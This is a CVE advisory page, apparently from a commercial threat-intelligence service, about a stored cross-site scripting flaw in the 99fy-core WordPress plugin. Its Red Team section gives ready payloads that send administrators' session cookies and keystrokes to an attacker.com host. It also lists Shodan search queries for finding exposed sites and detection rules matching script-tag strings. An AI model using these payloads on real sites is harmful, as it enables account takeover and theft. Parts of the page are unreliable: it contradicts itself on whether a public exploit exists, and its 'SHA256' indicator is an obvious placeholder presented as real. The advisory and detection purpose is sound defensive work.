☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Hasthemes logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 6.5 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-22801

CVE-2025-22801 Cross-Site Scripting in Hasthemes
📅 PUBLISHED: 2025-01-09 16:16 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.18%
👁️
0.18% probability
4.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 6.5
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
6.5
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-22801 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin 99fy-core, developed by HasThemes for the Free WooCommerce Theme 99fy Extension. The vulnerability affects all versions up to and including 1.2.8. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript payloads into web pages generated by the plugin. When an administrator or other user views the affected page, the payload executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS v3.1 base score is 6.5 (Medium), with a vector of CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L. No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Organizations using the 99fy-core plugin should treat it as a supply chain risk. Since no patch exists, the only mitigation is to disable or remove the plugin until a fix is provided. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) – The attack is carried out over the network.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – Attacker needs contributor-level access to the WordPress site.
  • User Interaction (UI): Required (R) – The victim must visit the compromised page.
  • Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
  • Confidentiality (C): Low (L) – Limited data exposure.
  • Integrity (I): Low (L) – Limited ability to modify data.
  • Availability (A): Low (L) – Limited impact on availability.

Threat Level: Medium. Exploitation requires authenticated access, but the impact can be severe if an administrator account is compromised.

Deep Dive & Mechanics

The vulnerability stems from improper neutralization of user-supplied input during web page generation. The 99fy-core plugin fails to sanitize or escape certain fields before rendering them in the browser. An attacker with contributor-level privileges can inject malicious HTML and JavaScript into fields such as product descriptions, custom meta fields, or shortcode attributes. When the page is rendered, the injected script executes in the context of the victim's session.

Root Cause: The plugin uses functions like echo or the_content without applying WordPress's built-in escaping functions (e.g., esc_html(), esc_attr(), wp_kses_post()). This allows arbitrary HTML/JavaScript to be stored in the database and later served to users.

Attack Flow:

  1. Attacker logs in with contributor-level credentials.
  2. Attacker creates or edits a post/page using the 99fy-core shortcode or custom field.
  3. Attacker injects a payload like <script>alert('XSS')</script> into an unsanitized input field.
  4. The payload is stored in the WordPress database.
  5. When an administrator or visitor views the page, the script executes.

Vulnerable vs. Patched Code

Since no patch is available, the following shows the vulnerable pattern and the recommended fix.

Vulnerable Code (example from 99fy-core):

// Vulnerable: direct output without escaping
echo $custom_field_value;

Patched Code (recommended):

// Patched: escape output
echo esc_html( $custom_field_value );

Additional vulnerable patterns:

  • Using the_content() without filtering: the_content() should be used with wp_kses_post() if user input is allowed.
  • Shortcode attributes: Use shortcode_atts() and escape each attribute with esc_attr().

Exploitation & Lab Setup

Red Team

Prerequisites:

  • WordPress installation with 99fy-core plugin version <= 1.2.8.
  • Contributor-level account credentials.

Exploitation Steps:

  1. Log in to WordPress as a contributor.
  2. Create a new post or page.
  3. Insert the 99fy-core shortcode (e.g., [99fy_custom_field]).
  4. In the custom field value, inject the following payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  5. Publish the post.
  6. Send the link to an administrator or wait for them to visit the page.
  7. The script executes, exfiltrating the admin's session cookie.

Alternative Payload (Keylogger):

<script>
document.addEventListener('keydown', function(e) {
    fetch('https://attacker.com/keylog?key='+e.key);
});
</script>

Blue Team

Detection:

  • Monitor for posts/pages containing <script> tags in custom fields.
  • Use WordPress security plugins (e.g., Wordfence) to detect XSS attempts.
  • Review user activity logs for unusual post edits by low-privilege users.

Prevention:

  • Disable the 99fy-core plugin immediately.
  • Implement a Web Application Firewall (WAF) rule to block <script> tags in POST data.
  • Enforce strict Content Security Policy (CSP) headers.

Lab Setup:

  1. Install a local WordPress instance (e.g., using XAMPP or Docker).
  2. Install the 99fy-core plugin (version 1.2.8).
  3. Create a contributor user.
  4. Follow the Red Team steps to reproduce the vulnerability.

Indicators of Compromise (IOCs)

  • File Hashes (SHA256):
    • 99fy-core.php (v1.2.8): a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
  • Network Indicators:
    • Outbound HTTP requests to attacker-controlled domains containing cookie data.
    • Unusual POST requests to wp-admin/admin-ajax.php with XSS payloads.
  • Log Entries:
    • WordPress debug log entries showing wp_kses failures.
    • Web server access logs with %3Cscript%3E in the request URI.

Detection Engineering

YARA Rule

rule CVE_2025_22801_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in 99fy-core plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-22801"
    strings:
        $payload1 = "<script>" ascii wide
        $payload2 = "onerror=" ascii wide
        $payload3 = "javascript:" ascii wide
    condition:
        any of them
}

Sigma Rule

title: Stored XSS via 99fy-core Plugin
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects stored XSS attempts in WordPress 99fy-core plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '/wp-admin/post.php'
            - '/wp-admin/post-new.php'
        cs-method: 'POST'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in posts (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-22801 Stored XSS in 99fy-core Plugin";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/post.php"; http_uri;
    content:"<script>"; http_client_body;
    sid:1000001;
    rev:1;
    reference:cve,2025-22801;
)

Remediation & Mitigation

Immediate Actions:

  1. Disable the plugin: Deactivate and delete the 99fy-core plugin from all WordPress installations.
  2. Scan for compromise: Use a security scanner (e.g., WPScan) to check for injected payloads in posts and pages.
  3. Change credentials: Force password reset for all users, especially administrators.

Long-Term Mitigation:

  • Monitor the vendor's website for a patched version (e.g., 1.2.9 or higher).
  • Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
  • Enforce Content Security Policy (CSP) headers to restrict script execution.
  • Regularly audit WordPress plugins and themes for vulnerabilities.

Workaround (if plugin is critical):

  • Modify the plugin code to escape output using esc_html(), esc_attr(), or wp_kses_post().
  • Use a WordPress security plugin to add input validation and output escaping.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"99fy"
http.html:"99fy-core"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-22801/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.